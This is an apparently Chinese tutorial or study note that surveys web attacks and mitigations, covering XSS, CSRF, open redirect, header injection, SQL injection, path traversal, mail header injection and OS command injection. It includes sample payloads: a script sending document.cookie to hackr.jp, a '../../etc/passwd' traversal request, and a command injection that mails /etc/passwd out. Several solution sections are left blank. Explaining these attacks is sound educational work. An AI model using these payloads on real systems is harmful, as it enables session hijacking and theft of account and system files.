標籤:截斷 adr 三方 from inf www 擷取 img int
產生原因
- HTTP 不具備安全功能。
- 在用戶端可以篡改請求。
跨站指令碼攻擊 XSS
攻擊方式:
- 通過提交的資訊中帶入 js 指令碼或 html 標籤。
- 提前閉合標籤,有些甚至不用特殊處理。
- 執行操作或者引入三方 js 。
正常請求:http: //example.jp/login?ID="haha"正常顯示:<input type="text" name="ID" value="yama" />攻擊請求:http: //example.jp/login?ID="><script>var+f=document.getElementById("login");</script>"攻擊顯示:<input type="text" name="ID" value=""><script>var+f=document.getElementById("login");</script>
解決方案:
- 對提交內容進行編譯,“<” 轉 “<”, ">" 轉 “>”。防止文本解析成標籤。
跨網站偽造請求攻擊 CSRF
攻擊方式:
- 通過第三方網站,訪問本網站的介面,導致攜帶本網站的 cookie 。
- 隱匿的使使用者進行操作。
解決方案:
- 方法一:驗證 HTTP Referer 控制請求必須本網站發出。
- 方法二:在請求地址中添加 token 並驗證。
- 方法三:在 HTTP 頭中自訂屬性並驗證,第三方網站的請求禁止攜帶自訂頭。
URL 跳轉漏洞攻擊
攻擊方式:
- 一般登入頁面會在登入後,通過 URL 的參數進行回跳。
- 第三方網站,通過提供正規的登入地址和錯誤的回跳地址。
- 誘導使用者以為安全登入。
解決方案:
- 對回跳的地址進行嚴格校正。
- 不能只簡單校正網域名稱是否在地址中存在。
對使用者 Cookie 的竊取攻擊
攻擊方式:
- 引入三方惡意指令碼,傳輸 cookie 到三方伺服器。
如下:var content = escape(document.cookie);document.write("<img src=http: //hackr.jp/?");document.write(content);document.write(">");
解決方案:
- 保證引入指令碼的安全,可以通過 CSP 對引入資源進行限制。
HTTP 首部注入攻擊
攻擊方式:
- 通過 %0D%0A 截斷代碼,注入 http 頭代碼。
Location: http: //example.com/a.cgi?q=101%0D%0ASet-Cookie:+SID=123456789%0D%0A 代表 HTTP 報文中的分行符號,緊接著的是可強制將攻擊者網站(http: //hackr.jp/)的會話 ID 設定成 SID=123456789 的 Set-Cookie 首部欄位。首部欄位 Set-Cookie 已生效,因此攻擊者可指定修改任意的 Cookie 資訊。通過和會話固定攻擊(攻擊者可使用指定的會話 ID)攻擊組合,攻擊者可偽裝成使用者。
解決方案:
HTTP 響應截斷攻擊
攻擊方式:
- 通過 %0D%0A%0D%0A 截斷代碼,造成多餘的空行,注入響應體代碼。
Location: http: //example.com/a.cgi?q=101%0D%0A%0D%0Aalert(1);HTTP 響應截斷攻擊是用在 HTTP 首部注入的一種攻擊。要將兩個 %0D%0A%0D%0A 並排插入字串後發送。利用這兩個連續的換行就可作出 HTTP 首部與主體分隔所需的空行了,這樣就能顯示偽造的主體,達到攻擊目的。
解決方案:
SQL 插入式攻擊
攻擊方式:
正常請求:http: //example.jp/search?q=haha正常執行:SELECT * FROM bookTbl WHERE author = 'haha' and flag = 1;攻擊請求:http: //example.jp/search?q=haha‘ --攻擊顯示:SELECT * FROM bookTbl WHERE author = 'haha' --’ and flag = 1;flag = 1 的條件被忽略
解決方案:
伺服器檔案攻擊
攻擊方式:
通過請求返回記錄檔http: //example.com/read.php?log=../../etc/passwd查詢欄位為了讀取攻擊者盯上的 /etc/passwd 檔案,會從 /www/log/ 目錄開始定位相對路徑。如果這份 read.php 指令碼接受對指定目錄的訪問請求處理,那原本不公開的檔案就存在可被訪問的風險。
解決方案:
郵件首部注入攻擊
攻擊方式:
- 通過 %0D%0A 截斷代碼,追加郵件地址。
- 通過 %0D%0A%0D%0A 截斷代碼,造成多餘的空行,篡改郵件主體。
[email protected]%0D%0ABcc: [email protected]%0D%0A 在郵件報文中代表分行符號。一旦諮詢表單所在的 Web 應用程式接收了這個分行符號,就可能實現對 Bcc 郵件地址的追加發送,而這原本是無法指定的。bob @ hackr.jp%0D%0A%0D%0ATest Message使用兩個連續的分行符號就有可能篡改郵件常值內容並發送。再以相同的方法,就有可能改寫 To 和 Subject 等任意郵件首部,或向文本添加附件等動作。
解決方案:
OS 命令注入攻擊
攻擊方式:
核心代碼:my $adr = $q->param('mailaddress');open(MAIL, "| /usr/sbin/sendmail $adr");print MAIL "From: info @ example.com\n";當傳入 mailaddress 參數為 “; cat /etc/passwd | mail hack @ example.jp”會執行下面的語句:| /usr/sbin/sendmail ; cat /etc/passwd | mail hack @ example.jp將含有 Linux 賬戶資訊 /etc/passwd 的檔案,就以郵件形式發送給了 hack @ example.jp。
解決方案:
web網路攻擊解決方案